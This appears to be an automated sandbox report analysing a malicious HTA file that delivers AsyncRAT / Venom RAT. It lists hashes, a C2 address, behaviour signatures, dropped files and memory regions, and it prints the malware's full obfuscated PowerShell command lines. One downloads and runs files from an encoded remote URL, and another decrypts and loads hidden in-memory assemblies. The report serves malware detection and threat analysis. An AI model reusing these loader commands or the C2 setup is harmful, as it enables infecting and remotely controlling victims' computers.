Analysis

  • max time kernel
    101s
  • max time network
    113s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-04-2024 01:11

General

  • Target

    2522c6e717f20b29f38a73dc450a3ad748a14bbe86796429e50eaa672edd5d23.hta

  • Size

    12KB

  • MD5

    1813054fd92c59be0214e8f908d31155

  • SHA1

    3666af3fcd4dbf6d4881afb6e80841c87732569b

  • SHA256

    2522c6e717f20b29f38a73dc450a3ad748a14bbe86796429e50eaa672edd5d23

  • SHA512

    5416b8eebba6bdc80b48fb5c56e78ffa4c260e13513528022ac5f0e2f0ee5831ce3e8e55b5dbe0aadd60e782b7c69891ffd92190863aa4e218c8a5c5fa966869

  • SSDEEP

    192:whpDrcs3f1bF0VXd5uQ45pj3PxFtjQp2QYw:wgefH0lC5pTRo

Score
10/10

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

194.48.251.169:4449

Mutex

wmdekgrrot

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Detects executables attemping to enumerate video devices using WMI 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\2522c6e717f20b29f38a73dc450a3ad748a14bbe86796429e50eaa672edd5d23.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4472
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function kECMOkR($gdxSDC, $rTnOMRhfVJUY){[IO.File]::WriteAllBytes($gdxSDC, $rTnOMRhfVJUY)};function mumNyknYLgnsVYB($gdxSDC){if($gdxSDC.EndsWith((LSLyBfLILlsvQ @(74696,74750,74758,74758))) -eq $True){rundll32.exe $gdxSDC }elseif($gdxSDC.EndsWith((LSLyBfLILlsvQ @(74696,74762,74765,74699))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $gdxSDC}elseif($gdxSDC.EndsWith((LSLyBfLILlsvQ @(74696,74759,74765,74755))) -eq $True){misexec /qn /i $gdxSDC}else{Start-Process $gdxSDC}};function sSOuincqeTeMefqK($fusnPVMKKSsamabF){$pXfsSsKiwLgzgmXA = New-Object (LSLyBfLILlsvQ @(74728,74751,74766,74696,74737,74751,74748,74717,74758,74755,74751,74760,74766));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$rTnOMRhfVJUY = $pXfsSsKiwLgzgmXA.DownloadData($fusnPVMKKSsamabF);return $rTnOMRhfVJUY};function LSLyBfLILlsvQ($UyfqAHAWGDk){$PuBEDrZXHzyrm=74650;$kKrEoNdYusFnuk=$Null;foreach($FhWJmOIuouGdHGPQ in $UyfqAHAWGDk){$kKrEoNdYusFnuk+=[char]($FhWJmOIuouGdHGPQ-$PuBEDrZXHzyrm)};return $kKrEoNdYusFnuk};function BWGtGqQvhtaMVCwQIH(){$UpkpLddqWxxLFW = $env:AppData + '\';$NYgAUxsoiyj = $UpkpLddqWxxLFW + 'gogi.xlsx';If(Test-Path -Path $NYgAUxsoiyj){Invoke-Item $NYgAUxsoiyj;}Else{ $YEmOvxcFFlsialH = sSOuincqeTeMefqK (LSLyBfLILlsvQ @(74754,74766,74766,74762,74708,74697,74697,74699,74707,74702,74696,74702,74706,74696,74700,74703,74699,74696,74699,74704,74707,74708,74705,74700,74706,74705,74697,74753,74761,74753,74755,74696,74770,74758,74765,74770));kECMOkR $NYgAUxsoiyj $YEmOvxcFFlsialH;Invoke-Item $NYgAUxsoiyj;};$YJtKgLZ = $UpkpLddqWxxLFW + 'gogis.bat'; if (Test-Path -Path $YJtKgLZ){mumNyknYLgnsVYB $YJtKgLZ;}Else{ $WTNqxG = sSOuincqeTeMefqK (LSLyBfLILlsvQ @(74754,74766,74766,74762,74708,74697,74697,74699,74707,74702,74696,74702,74706,74696,74700,74703,74699,74696,74699,74704,74707,74708,74705,74700,74706,74705,74697,74753,74761,74753,74755,74765,74696,74748,74747,74766));kECMOkR $YJtKgLZ $WTNqxG;mumNyknYLgnsVYB $YJtKgLZ;};;;;}BWGtGqQvhtaMVCwQIH;
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4724
      • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
        "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Roaming\gogi.xlsx"
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:1976
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\gogis.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1520
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\gogis.bat"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1088
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\gogis.bat';$XgWC='CJCPqopJCPqyToJCPq'.Replace('JCPq', ''),'DeKEVccoKEVcmKEVcpKEVcreKEVcsKEVcsKEVc'.Replace('KEVc', ''),'GeAJwHtCAJwHurrAJwHeAJwHntAJwHProAJwHceAJwHssAJwH'.Replace('AJwH', ''),'CGqtVreGqtVateGqtVDGqtVecrGqtVypGqtVtoGqtVrGqtV'.Replace('GqtV', ''),'TrashffnsfshfforshffmshffFinshffashfflBlshffocshffkshff'.Replace('shff', ''),'LoaAcuudAcuu'.Replace('Acuu', ''),'EnPhDKtPhDKrPhDKyPoPhDKiPhDKntPhDK'.Replace('PhDK', ''),'InvjPegokejPeg'.Replace('jPeg', ''),'ChBNFcangBNFceEBNFcxtBNFcenBNFcsBNFciBNFconBNFc'.Replace('BNFc', ''),'MamJZeimJZenmJZeMomJZedumJZelemJZe'.Replace('mJZe', ''),'SDiPVplDiPViDiPVtDiPV'.Replace('DiPV', ''),'ReZkbLadLZkbLinZkbLeZkbLsZkbL'.Replace('ZkbL', ''),'FBIJjrBIJjomBBIJjaBIJjseBIJj64BIJjStrBIJjiBIJjngBIJj'.Replace('BIJj', ''),'EleFaTTmeFaTTnFaTTtAFaTTtFaTT'.Replace('FaTT', '');powershell -w hidden;function nHhmY($bfNRC){$Wqjzg=[System.Security.Cryptography.Aes]::Create();$Wqjzg.Mode=[System.Security.Cryptography.CipherMode]::CBC;$Wqjzg.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$Wqjzg.Key=[System.Convert]::($XgWC[12])('0/mNfjofNmhTDWKM5pVXBX9kZTvZAJfnb+xHxm0CsMs=');$Wqjzg.IV=[System.Convert]::($XgWC[12])('mimfsJsCvsdSCjq6OJjGsw==');$mEsqN=$Wqjzg.($XgWC[3])();$cIvUt=$mEsqN.($XgWC[4])($bfNRC,0,$bfNRC.Length);$mEsqN.Dispose();$Wqjzg.Dispose();$cIvUt;}function Jxpsl($bfNRC){$DhsxW=New-Object System.IO.MemoryStream(,$bfNRC);$abuYQ=New-Object System.IO.MemoryStream;$hMgwC=New-Object System.IO.Compression.GZipStream($DhsxW,[IO.Compression.CompressionMode]::($XgWC[1]));$hMgwC.($XgWC[0])($abuYQ);$hMgwC.Dispose();$DhsxW.Dispose();$abuYQ.Dispose();$abuYQ.ToArray();}$vXkJe=[System.IO.File]::($XgWC[11])([Console]::Title);$JakZo=Jxpsl (nHhmY ([Convert]::($XgWC[12])([System.Linq.Enumerable]::($XgWC[13])($vXkJe, 5).Substring(2))));$GFnOO=Jxpsl (nHhmY ([Convert]::($XgWC[12])([System.Linq.Enumerable]::($XgWC[13])($vXkJe, 6).Substring(2))));[System.Reflection.Assembly]::($XgWC[5])([byte[]]$GFnOO).($XgWC[6]).($XgWC[7])($null,$null);[System.Reflection.Assembly]::($XgWC[5])([byte[]]$JakZo).($XgWC[6]).($XgWC[7])($null,$null); "
            5⤵
              PID:4160
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              5⤵
              • Blocklisted process makes network request
              • Drops file in Windows directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:4636
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4400
              • C:\Windows\SysWOW64\wermgr.exe
                "C:\Windows\system32\wermgr.exe" "-outproc" "0" "4636" "2656" "2248" "2660" "0" "0" "2664" "0" "0" "0" "0" "0"
                6⤵
                • Checks processor information in registry
                • Enumerates system info in registry
                PID:4132

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      0774a05ce5ee4c1af7097353c9296c62

      SHA1

      658ff96b111c21c39d7ad5f510fb72f9762114bb

      SHA256

      d9c5347ed06755feeb0615f1671f6b91e2718703da0dbc4b0bd205cbd2896dd4

      SHA512

      104d69fc4f4aaa5070b78ada130228939c7e01436351166fe51fe2da8a02f9948e6d92dd676f62820da1813872b91411e2f863c9a98a760581ec34d4aa354994

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

      Filesize

      21KB

      MD5

      dc9e5f0403f2e2c0d8477d0729cde65f

      SHA1

      1b77d912997911b6168e6c735b2c2ec8306708f2

      SHA256

      77a84a17e6b8cf1d13c4c94d4b9b1dad2503f073ac556e7675a5816257731747

      SHA512

      e7d1bc29623b78e775e86d372893951c4f66bd9bb34dba3ec0af598deb4e8d7b299de7f8b1c69a481f29ad767c0709cdf5f249224661e7844263c05673d3ce97

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v4vnt01u.yb0.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

      Filesize

      217B

      MD5

      180d791d34efdb265afd0ff4336e9c59

      SHA1

      88c9c4b4c1376229fbc516f8552ddda0ee83c1c4

      SHA256

      263f24d019a6c20e80f88b7e7b8d9037a3b41f6923eab101c131e82c7a2f47e3

      SHA512

      fc61aca2d2c56807561ec02480830058c03c8c84ca7301d702b769a9f1061ab21fe321b45868053e945e8e9aa9d264a22d96c0b2b1a1bc22e55baa57dfaf9178

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

      Filesize

      24B

      MD5

      4fcb2a3ee025e4a10d21e1b154873fe2

      SHA1

      57658e2fa594b7d0b99d02e041d0f3418e58856b

      SHA256

      90bf6baa6f968a285f88620fbf91e1f5aa3e66e2bad50fd16f37913280ad8228

      SHA512

      4e85d48db8c0ee5c4dd4149ab01d33e4224456c3f3e3b0101544a5ca87a0d74b3ccd8c0509650008e2abed65efd1e140b1e65ae5215ab32de6f6a49c9d3ec3ff

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

      Filesize

      852B

      MD5

      d5b5932f04b7997635ea30345c9c4b4e

      SHA1

      be7b7999d349b5802a38f8595098a55fec5425a2

      SHA256

      4f8c5fedf89615f1ed179995df54de5193466b576f77e75eb7ebf2c2edec9c45

      SHA512

      f1af57a991080abe07a0917e43f4a6dc6d954eaef92e7d678b9e5cf2e5b4f55dd2ed6caa2ce28bb846a556ff8b428ad9f7353fac710fb648b848cdbd048f05ca

    • C:\Users\Admin\AppData\Roaming\gogi.xlsx

      Filesize

      9KB

      MD5

      600c497f3fe2e8ce045dc56ee1edca75

      SHA1

      02fc342d23e3e49c9811592922beb1e4f7d3cfc1

      SHA256

      1235db2b5033bed11ce0586dabd7122f4bab90eb2a4b65a81bba8b884d9c11ed

      SHA512

      ef4a7ad833ea2d7ea0a9b618aee52849e53044d72b737c79e07563ea23d4e181ab5285cc6c7b10e9e18d019d0ea607810d2306e497f394c6ccc1814b3e305809

    • C:\Users\Admin\AppData\Roaming\gogis.bat

      Filesize

      6.9MB

      MD5

      a65e873839228c5b453d6effa5d14d16

      SHA1

      40be429e0e6b41061f3291d10e720eaebf32eda1

      SHA256

      59c388b975d290fa525ffefe5aaecb011219ebd3121a7e79e913d980fb7af951

      SHA512

      84ec1da7d5f5fe236c7fbe960b69d99ae0b6d3fe83844cd2bf3128508d39ad1de35f17dcb101e06fb25b155a806885bb5d6d095fbf3e0a3c729c678fa200f850

    • memory/1976-160-0x00007FFA79E30000-0x00007FFA79E40000-memory.dmp

      Filesize

      64KB

    • memory/1976-40-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-163-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-162-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-161-0x00007FFA79E30000-0x00007FFA79E40000-memory.dmp

      Filesize

      64KB

    • memory/1976-159-0x00007FFA79E30000-0x00007FFA79E40000-memory.dmp

      Filesize

      64KB

    • memory/1976-158-0x00007FFA79E30000-0x00007FFA79E40000-memory.dmp

      Filesize

      64KB

    • memory/1976-141-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-140-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-33-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-34-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-32-0x00007FFA79E30000-0x00007FFA79E40000-memory.dmp

      Filesize

      64KB

    • memory/1976-35-0x00007FFA79E30000-0x00007FFA79E40000-memory.dmp

      Filesize

      64KB

    • memory/1976-37-0x00007FFA79E30000-0x00007FFA79E40000-memory.dmp

      Filesize

      64KB

    • memory/1976-36-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-38-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-39-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-29-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-42-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-41-0x00007FFA775D0000-0x00007FFA775E0000-memory.dmp

      Filesize

      64KB

    • memory/1976-43-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-44-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-45-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-46-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-47-0x00007FFA775D0000-0x00007FFA775E0000-memory.dmp

      Filesize

      64KB

    • memory/1976-48-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-49-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-50-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-51-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-28-0x00007FFA79E30000-0x00007FFA79E40000-memory.dmp

      Filesize

      64KB

    • memory/1976-30-0x00007FFAB9DB0000-0x00007FFAB9FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1976-31-0x00007FFA79E30000-0x00007FFA79E40000-memory.dmp

      Filesize

      64KB

    • memory/4400-106-0x00000000748C0000-0x0000000075070000-memory.dmp

      Filesize

      7.7MB

    • memory/4400-95-0x0000000004A00000-0x0000000004A10000-memory.dmp

      Filesize

      64KB

    • memory/4400-94-0x0000000004A00000-0x0000000004A10000-memory.dmp

      Filesize

      64KB

    • memory/4400-93-0x00000000748C0000-0x0000000075070000-memory.dmp

      Filesize

      7.7MB

    • memory/4636-111-0x0000000007920000-0x0000000007938000-memory.dmp

      Filesize

      96KB

    • memory/4636-138-0x00000000748C0000-0x0000000075070000-memory.dmp

      Filesize

      7.7MB

    • memory/4636-79-0x0000000002DB0000-0x0000000002DC0000-memory.dmp

      Filesize

      64KB

    • memory/4636-78-0x0000000002DB0000-0x0000000002DC0000-memory.dmp

      Filesize

      64KB

    • memory/4636-77-0x00000000748C0000-0x0000000075070000-memory.dmp

      Filesize

      7.7MB

    • memory/4636-89-0x00000000061A0000-0x00000000064F4000-memory.dmp

      Filesize

      3.3MB

    • memory/4636-90-0x0000000006600000-0x000000000664C000-memory.dmp

      Filesize

      304KB

    • memory/4636-139-0x0000000072A50000-0x0000000072A62000-memory.dmp

      Filesize

      72KB

    • memory/4636-92-0x0000000007850000-0x00000000078C6000-memory.dmp

      Filesize

      472KB

    • memory/4636-137-0x00000000772E1000-0x0000000077401000-memory.dmp

      Filesize

      1.1MB

    • memory/4636-124-0x0000000072A50000-0x0000000072A62000-memory.dmp

      Filesize

      72KB

    • memory/4636-115-0x00000000089E0000-0x0000000008A7C000-memory.dmp

      Filesize

      624KB

    • memory/4636-91-0x0000000006920000-0x0000000006964000-memory.dmp

      Filesize

      272KB

    • memory/4636-107-0x0000000005350000-0x0000000005358000-memory.dmp

      Filesize

      32KB

    • memory/4636-109-0x00000000772E1000-0x0000000077401000-memory.dmp

      Filesize

      1.1MB

    • memory/4636-110-0x0000000005360000-0x0000000005370000-memory.dmp

      Filesize

      64KB

    • memory/4636-113-0x00000000085D0000-0x0000000008662000-memory.dmp

      Filesize

      584KB

    • memory/4636-114-0x0000000077341000-0x0000000077342000-memory.dmp

      Filesize

      4KB

    • memory/4724-1-0x0000000071910000-0x00000000720C0000-memory.dmp

      Filesize

      7.7MB

    • memory/4724-2-0x0000000004A30000-0x0000000004A40000-memory.dmp

      Filesize

      64KB

    • memory/4724-4-0x0000000005070000-0x0000000005698000-memory.dmp

      Filesize

      6.2MB

    • memory/4724-6-0x0000000005710000-0x0000000005776000-memory.dmp

      Filesize

      408KB

    • memory/4724-0-0x00000000024E0000-0x0000000002516000-memory.dmp

      Filesize

      216KB

    • memory/4724-23-0x0000000007490000-0x0000000007A34000-memory.dmp

      Filesize

      5.6MB

    • memory/4724-17-0x0000000005960000-0x0000000005CB4000-memory.dmp

      Filesize

      3.3MB

    • memory/4724-3-0x0000000004A30000-0x0000000004A40000-memory.dmp

      Filesize

      64KB

    • memory/4724-21-0x0000000006310000-0x000000000632A000-memory.dmp

      Filesize

      104KB

    • memory/4724-20-0x0000000006E40000-0x0000000006ED6000-memory.dmp

      Filesize

      600KB

    • memory/4724-19-0x0000000005E90000-0x0000000005EDC000-memory.dmp

      Filesize

      304KB

    • memory/4724-18-0x0000000005DD0000-0x0000000005DEE000-memory.dmp

      Filesize

      120KB

    • memory/4724-74-0x0000000071910000-0x00000000720C0000-memory.dmp

      Filesize

      7.7MB

    • memory/4724-22-0x0000000006340000-0x0000000006362000-memory.dmp

      Filesize

      136KB

    • memory/4724-12-0x00000000057F0000-0x0000000005856000-memory.dmp

      Filesize

      408KB

    • memory/4724-24-0x00000000080C0000-0x000000000873A000-memory.dmp

      Filesize

      6.5MB

    • memory/4724-5-0x0000000004F10000-0x0000000004F32000-memory.dmp

      Filesize

      136KB